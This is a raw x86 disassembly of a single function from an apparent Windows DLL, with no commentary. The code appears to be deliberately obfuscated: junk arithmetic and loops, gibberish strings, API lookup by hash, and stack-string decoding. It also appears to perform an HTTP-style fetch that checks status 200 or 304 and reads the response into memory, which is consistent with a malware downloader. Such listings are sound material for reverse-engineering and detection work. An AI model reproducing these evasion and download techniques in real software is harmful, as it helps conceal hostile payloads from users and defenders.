mov eax, 0xf90bf567
setge dl
cmp eax, edx
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 2
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
sub edx, 3
cmp edx, eax
setne cl
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 0x11
call fcn.10002246
push 7
pop esi
xor eax, eax
mov dword [ebp - 0x2f4], esi
mov word [ebp - 0x308], ax
lea ecx, [ebp - 0x308]
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x2f8], ebx
push eax
call fcn.10023986
mov byte [ebp - 4], 0x16
lea edi, [ebp - 0x4c0]
push 0x13
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x4c], 5
mov dword [ebp - 0x18], 0x901516ea
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x34], 0x9c2d
mov dword [ebp - 0x74], 0xfffa
mov dword [ebp - 0x14], ebx
jmp 0x10026146
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x190], 0x41b3c692
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10026135
mov dword [ebp - 0x4c], 2
cmp dword [ebp - 0x4c], ebx
jl 0x10026262
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x228], 0xfffffffd
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x190], ebx
je 0x100261d7
mov dword [ebp - 0x20], 0xacf25792
xor edx, edx
mov dword [ebp - 0x14], 0xa652065c
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x20], ebx
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
neg ecx
cmp ecx, eax
setne dl
xor ecx, ecx
add edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
cmp edx, eax
mov eax, dword [ebp - 0x190]
setl cl
mov dword [ebp - 0x48], ecx
xor ecx, ecx
cmp dword [ebp - 0x48], eax
setle cl
mov dword [ebp - 0x14], ecx
jmp 0x10026247
mov dword [ebp - 0x21c], 1
mov dword [ebp - 0x24], ebx
jmp 0x10026241
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x210], 1
push 1
push eax
call fcn.10024215
push 1
push 0x52dd
lea eax, [ebp - 0x4c]
mov edx, 0x4d94
push eax
push 0x20f
push 0x52b8
push ebx
push 0x5dad
push 0x34b
push 1
lea eax, [ebp - 0x210]
mov ecx, 0x3567
push eax
push 0x4acb
call fcn.1002489f
add esp, 0x34
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x100261e6
push ecx
lea eax, [ebp - 0x228]
push 1
push eax
call fcn.10024b03
add esp, 0xc
dec dword [ebp - 0x4c]
jns 0x1002615c
mov eax, dword [ebp - 0x28]
neg eax
push 2
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, dword [ebp - 0x190]
neg edx
sbb edx, edx
add ecx, 0x31381660
neg edx
add eax, edx
add eax, ecx
lea ecx, [ebp - 0x25c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
call fcn.100021e9
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x2b4]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x68], 0x2263126f
push 3
call fcn.100021e9
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x3c]
push 0xfffffffffffffff7
pop ecx
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0x4b79a97a
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x274], ecx
push ebx
mov dword [ebp - 0x270], ecx
push eax
mov dword [ebp - 0x26c], ecx
lea ecx, [ebp - 0x25c]
push 0x51af
push ecx
push eax
mov ecx, 0x5c9f
call fcn.10024125
add esp, 0x14
mov dword [ebp - 0x3c], ebx
jmp 0x1002633c
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x88], 0x9aed23b6
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 1
jl 0x1002632b
push 0x28e4
push ebx
push 0x76d3
lea eax, [ebp - 0x3c]
push eax
push ecx
push ecx
lea ecx, [ebp - 0x2b4]
call fcn.10024513
add esp, 0x18
mov dword [ebp - 0x3c], ebx
jmp 0x10026377
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x3a8], 0x1ca72764
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 4
jl 0x10026366
lea eax, [ebp - 0x68]
push eax
push ecx
push ebx
push 0xe40
call fcn.100244f6
add esp, 0x10
cmp dword [ebp - 0x88], ebx
jne 0x10026440
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov esi, dword [ebp - 0x25c]
cmp dword [esi + 4], 0xbf7c
jl 0x100263b7
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x88]
xor edx, edx
cmp eax, 0x1ebc
mov eax, dword [ebp - 0x88]
setne dl
sub edx, dword [esi + 4]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xe01afec1
mov ecx, dword [ebp - 0x18]
setne al
imul ecx, eax
mov eax, dword [ebp - 0x88]
neg ecx
sbb ecx, ecx
neg ecx
lea eax, [ecx + 1]
xor ecx, ecx
cmp eax, dword [esi + 4]
setge cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x20]
dec dword [eax + 4]
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x88], ecx
mov eax, dword [eax]
imul eax, ecx
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x68]
cmp dword [esi + 4], 0xd7e3c239
jne 0x10026440
mov edx, ebx
jmp 0x10026443
xor edx, edx
inc edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x68]
je 0x1002645f
cmp dword [ebp - 0x270], ebx
je 0x1002645f
xor eax, eax
inc eax
jmp 0x10026461
mov eax, ebx
lea ecx, [ebp - 0x2b4]
mov dword [ebp - 0x39c], eax
call fcn.10002246
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x16
call fcn.10002246
push 7
pop eax
push 0x44
pop ecx
push 2
mov byte [ebp - 0x14a], cl
mov word [ebp - 0x4ee], cx
mov ecx, ebx
mov dword [ebp - 0x170], 0x623f211
mov dword [ebp - 0x16c], 0x700b710d
mov dword [ebp - 0x168], 0x6217508
mov dword [ebp - 0x164], 0x1d1a1d0e
mov word [ebp - 0x160], 0x920
mov byte [ebp - 0x15e], 0x1f
mov byte [ebp - 0x15d], bl
mov dword [ebp - 0x15c], 0x68171418
mov dword [ebp - 0x158], 0x4d193825
mov dword [ebp - 0x154], 0x4147601
mov byte [ebp - 0x150], al
mov dword [ebp - 0x14f], 0x4011c73
mov byte [ebp - 0x14b], 0xf2
mov dword [ebp - 0x149], 0x76062031
mov dword [ebp - 0x145], 0x9047605
mov dword [ebp - 0x141], 0x4020b16
mov byte [ebp - 0x13d], bl
mov dword [ebp - 0x13c], 0x2448154d
mov byte [ebp - 0x138], al
mov dword [ebp - 0x137], 0x73107622
mov dword [ebp - 0x133], 0x140a1c13
mov dword [ebp - 0x12f], 0x19090d1d
mov dword [ebp - 0x12b], 0x77126903
mov dword [ebp - 0x127], 0x741b040c
mov dword [ebp - 0x123], 0x771e720f
pop esi
cmp esi, 0x24
jne 0x10026589
push 5
pop ecx
push 0x27
pop esi
jmp 0x100265c0
movzx edx, byte [ebp + esi - 0x16f]
lea eax, [ebp - 0x170]
sub eax, ecx
mov ecx, edx
movzx eax, byte [eax + esi - 2]
movzx eax, word [ebp + eax*2 - 0x510]
or ecx, eax
and edx, eax
movzx eax, byte [ebp + esi - 0x170]
sub ecx, edx
mov word [ebp + eax*2 - 0x510], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x51
jb 0x1002657c
xor eax, eax
mov word [ebp - 0x4c4], ax
mov dword [ebp - 0x28], 0x3eb0
cmp dword [ebp - 0x28], 0x4153
jle 0x1002663f
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x18], 0x2891
mov dword [ebp - 0x20], eax
and eax, edi
lea ecx, [ebp - 0x428]
cdq
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002660b
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x428]
call fcn.10014850
mov eax, dword [ebp - 0x20]
add eax, esi
dec dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
jne 0x100265f1
inc esi
cmp esi, 0x1bf3
jl 0x100265e5
inc edi
cmp edi, 0x6a4
jl 0x100265e3
cmp dword [ebp - 0x28], 0x3e1b
jge 0x10026653
push str.bphh_tglld_ymgm_ukhnsnp_xmhrsysg_xwhu_blyd_plr_jjnwle_whsyclfn_lruwpkpr_mnpasymc_aty_lwnd
call fcn.1004a753
pop ecx
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x7c], 0xc70c
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x60], 0x849f845d
push 4
call fcn.100021e9
push ecx
push 1
push ecx
mov byte [ebp - 4], 0x1b
lea edx, [ebp - 0x250]
mov dword [ebp - 0x70], 0xffffffff
lea ecx, [ebp - 0x184]
call fcn.10024bc0
mov eax, dword [ebp - 0x7c]
mov edx, 0xedca8fec
sub edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x58]
add esp, 0xc
cmp edx, eax
setge cl
cmp ecx, 0xd089
jg 0x100266c0
cmp dword [ebp - 0x58], ebx
jne 0x100266c3
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
xor edx, edx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x7c]
cmp eax, ecx
push ebx
setge dl
mov dword [ebp - 0x60], edx
xor edx, edx
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x250]
push 0x2605
mov dword [eax + 0xc], ecx
mov eax, dword [ebp - 0x58]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setne dl
xor ecx, ecx
cmp eax, edx
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x58]
setg cl
push eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x70], ecx
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x250]
push eax
call fcn.1002434f
add esp, 0x1c
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x250]
call fcn.10002246
xor eax, eax
mov dword [ebp - 0x2d4], ebx
push 7
pop esi
mov word [ebp - 0x2e4], ax
lea ecx, [ebp - 0x2e4]
lea eax, [ebp - 0x510]
mov dword [ebp - 0x2d0], esi
push eax
call fcn.10023986
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x2f4], 8
lea edi, [ebp - 0x510]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x388]
mov esi, 0xb55
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x308]
cmovae eax, dword [ebp - 0x308]
mov edi, 0x1041
push eax
push edi
push esi
call fcn.10040adf
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10026e02
cmp dword [ebp - 0x2d0], 8
lea ecx, [ebp - 0x398]
push ecx
lea eax, [ebp - 0x2e4]
cmovae eax, dword [ebp - 0x2e4]
push eax
push edi
push esi
call fcn.10040adf
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10026e02
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x388]
push eax
push 3
push ebx
lea eax, [ebp - 0x398]
push eax
push edi
push 0xdcb
call fcn.10040adf
pop ecx
pop ecx
call eax
test eax, eax
js 0x10026e02
cmp dword [ebp - 0x50], 0
je 0x10026e02
push 1
push 1
lea eax, [ebp - 0x378]
mov dl, 1
push eax
push 0xeec
mov ecx, 0x74ff
call fcn.10024c32
xor eax, eax
add esp, 0x10
mov word [ebp - 0x370], ax
mov dword [ebp - 0x28], 0x7f65
cmp dword [ebp - 0x28], 0x82e4
jle 0x10026888
mov esi, ebx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], 0x1b7
mov edi, ebx
mov ebx, dword [ebp - 0x20]
mov ecx, edi
mov eax, ebx
sar eax, cl
mov ecx, 0x1007cc18
cdq
push edx
push eax
call fcn.10013d0a
inc edi
cmp edi, 0x1c64
jl 0x10026857
dec ebx
dec dword [ebp - 0x18]
push 0
mov dword [ebp - 0x20], ebx
pop ebx
jne 0x10026852
inc esi
cmp esi, 0x21d
jl 0x10026848
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x28], 0x7e6c
jge 0x100268c2
mov edx, str.vme_bron_sevorwc_gvltdym_pfne_jpcc_evnijrvuk_qev_agk_vaqyece_hhqxrgp_ubixlw
mov ecx, 0x1007cc18
call fcn.1001875a
jmp 0x100268c2
push 0x74
pop eax
mov dword [ebp - 4], 0x1c
push 2
mov dword [ebp - 0x84], 0x1101fd02
mov byte [ebp - 0x80], bl
mov byte [ebp - 0x7f], 0x22
mov word [ebp - 0x17c], ax
pop esi
movzx eax, byte [ebp + esi - 0x86]
movzx edx, byte [ebp + esi - 0x83]
movzx ecx, word [ebp + eax*2 - 0x180]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x84]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x180], dx
cmp esi, 6
jb 0x100268e7
xor eax, eax
mov word [ebp - 0x17a], ax
mov dword [ebp - 0x28], 0xa42
cmp dword [ebp - 0x28], 0xd33
jle 0x100269c2
push 0x1615
push 0x1d90
push 0x1155
push 0x11a7
push 0x22bc
call dword [sym.imp.GDI32.dll_Rectangle]
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
cdq
mov edi, ebx
idiv esi
mov eax, edx
mov dword [ebp - 0x74], eax
mov esi, eax
mov dword [ebp - 0x48], ebx
mov ecx, edi
shl esi, cl
mov ecx, ebx
mov eax, esi
sar eax, cl
mov ecx, 0x1007cc18
cdq
push edx
push eax
call fcn.10013d0a
inc ebx
cmp ebx, 0x4fb2
jl 0x1002697a
mov eax, dword [ebp - 0x74]
inc edi
push 0
pop ebx
cmp edi, 0x571a
jl 0x10026971
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x287c
jl 0x10026967
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x5194
jl 0x10026962
xor eax, eax
mov dword [ebp - 0x1c0], 7
mov word [ebp - 0x1d4], ax
lea ecx, [ebp - 0x1d4]
lea eax, [ebp - 0x180]
mov dword [ebp - 0x1c4], ebx
push eax
call fcn.10023986
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x28], 0x70c
jge 0x10026a27
mov edx, str.uxvp_czts_ogm_eos_rxp_byr_sttwswoag_nmu_uqmfprbl_wge_lrbmqnfp
mov ecx, 0x1007cc18
call fcn.1001875a
jmp 0x10026a27
mov esi, dword [ebp - 0x78]
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x1c0], 8
mov eax, dword [ebp - 0x1c4]
cmovae ecx, dword [ebp - 0x1d4]
push dword [ebp - 0x184]
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1fc], ebx
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x1f8], ebx
cmovae ecx, dword [ebp - 0x1d4]
push eax
push ecx
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x1f4], ebx
call fcn.100277b5
lea eax, [ebp - 0x1e8]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x1e8], ebx
call fcn.100270c9
cmp dword [esi + 0x14], 8
jb 0x10026ab2
mov ecx, dword [esi]
jmp 0x10026ab4
mov ecx, esi
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*2]
jb 0x10026ac2
mov esi, dword [esi]
push dword [ebp - 0x184]
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], ebx
push eax
push esi
mov dword [ebp - 0x1dc], ebx
mov dword [ebp - 0x1d8], ebx
call fcn.100277b5
push ecx
push 0x3154
push 1
push ecx
lea edx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x23
call fcn.10024cf2
cmp dword [ebp - 0x1c0], 8
lea esi, [ebp - 0x238]
mov edi, esp
mov eax, dword [ebp - 0x50]
lea edx, [ebp - 0x1d4]
cmovae edx, dword [ebp - 0x1d4]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x238]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x378]
push dword [ebp - 0x1e0]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10026da7
mov esi, dword [ebp - 0x1b0]
mov cl, 1
mov dword [ebp - 0x174], ebx
mov byte [ebp - 0x19], cl
cmp esi, dword [ebp - 0x1ac]
je 0x10026bb3
add esi, 0x18
test cl, cl
je 0x10026ba0
cmp dword [esi + 0x14], 8
jb 0x10026b7f
mov edi, dword [esi]
jmp 0x10026b81
mov edi, esi
cmp dword [esi - 4], 8
jb 0x10026b8c
mov edx, dword [esi - 0x18]
jmp 0x10026b8f
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x50]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x10026ba2
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1ac]
jne 0x10026b71
mov byte [ebp - 0x19], cl
mov dword [ebp - 0x20], 0xba
cmp dword [ebp - 0x20], 0x2e5
jle 0x10026c18
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x70], 0x5031
mov eax, edi
lea ecx, [ebp - 0x470]
cdq
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10026be8
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x470]
call fcn.10014850
add edi, esi
dec dword [ebp - 0x70]
jne 0x10026bce
inc esi
cmp esi, 0x69a2
jl 0x10026bc5
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp byte [ebp - 0x19], 0
je 0x10026d8c
mov eax, dword [ebp - 0x50]
lea esi, [ebp - 0x238]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10026d8c
mov eax, dword [ebp - 0x50]
lea edx, [ebp - 0x174]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10026d8c
cmp dword [ebp - 0x174], 0x130
je 0x10026c76
cmp dword [ebp - 0x174], 0xc8
jne 0x10026d8c
mov eax, dword [ebp - 0x50]
lea edx, [ebp - 0x3b8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10026d8c
mov esi, dword [ebp - 0x3b0]
mov dword [ebp - 0x1ec], esi
test esi, esi
je 0x10026d8c
mov eax, dword [esi]
lea ecx, [ebp - 0x558]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x10026d75
mov eax, dword [ebp - 0x550]
mov edx, 0xc09
push ebx
mov dword [ebp - 0x90], eax
mov ecx, 0x30f5
push 1
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x1bc]
push 1
push eax
call fcn.1002480d
mov edx, dword [ebp - 0x90]
mov edi, ebx
add esp, 0x14
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x1a4], edi
mov eax, dword [ebp - 0x1bc]
lea edx, [ebp - 0x178]
mov ecx, dword [esi]
add eax, edi
push edx
mov edx, dword [ebp - 0x60]
push edx
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x10026d4e
lea eax, [ebp - 0x1a4]
push eax
push ebx
lea ecx, [ebp - 0x178]
call fcn.100246c0
mov edx, dword [ebp - 0x60]
sub edx, dword [ebp - 0x178]
mov edi, dword [ebp - 0x1a4]
pop ecx
pop ecx
mov dword [ebp - 0x60], edx
cmp edi, dword [ebp - 0x90]
jb 0x10026d01
cmp edi, dword [ebp - 0x90]
je 0x10026d75
push 1
push 1
push 0x7a42
push ebx
push 0x1c
mov edx, 0x5cd9
lea ecx, [ebp - 0x1bc]
call fcn.1002480d
add esp, 0x14
push 0x5d0d
push ecx
lea eax, [ebp - 0x1ec]
push 1
push eax
call fcn.100244f6
add esp, 0x10
cmp dword [ebp - 0x20], 0xfffffd94
jge 0x10026da0
push str.flbqj_zhcsvwat_tntvbvof_aixxkf_khibbs_mnyua_czlxd
call fcn.1004a753
pop ecx
mov dword [ebp - 4], 0x23
lea eax, [ebp - 0x50]
mov edx, 0x2b56
push eax
push 1
push 0x2bad
push 1
push 0x5de0
push 0x2f5
push 0x554b
mov cl, 1
call fcn.10024da3
add esp, 0x1c
mov dword [ebp - 0x50], ebx
lea ecx, [ebp - 0x1e0]
call fcn.10015017
lea ecx, [ebp - 0x1fc]
call fcn.10015017
push ebx
push 1
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x1c
call fcn.10014b87
mov edi, 0x1041
push edi
push 0xc63
call fcn.10040adf
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x208]
lea eax, [ebp - 0x1bc]
push eax
call fcn.10027014
push ebx
push 1
lea ecx, [ebp - 0x2e4]
call fcn.10014b87
push ebx
push 1
lea ecx, [ebp - 0x308]
call fcn.10014b87
lea ecx, [ebp - 0x1b0]
call fcn.1002711e
lea ecx, [ebp - 0x1bc]
call fcn.10027199
lea ecx, [ebp + 8]
call fcn.1002711e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret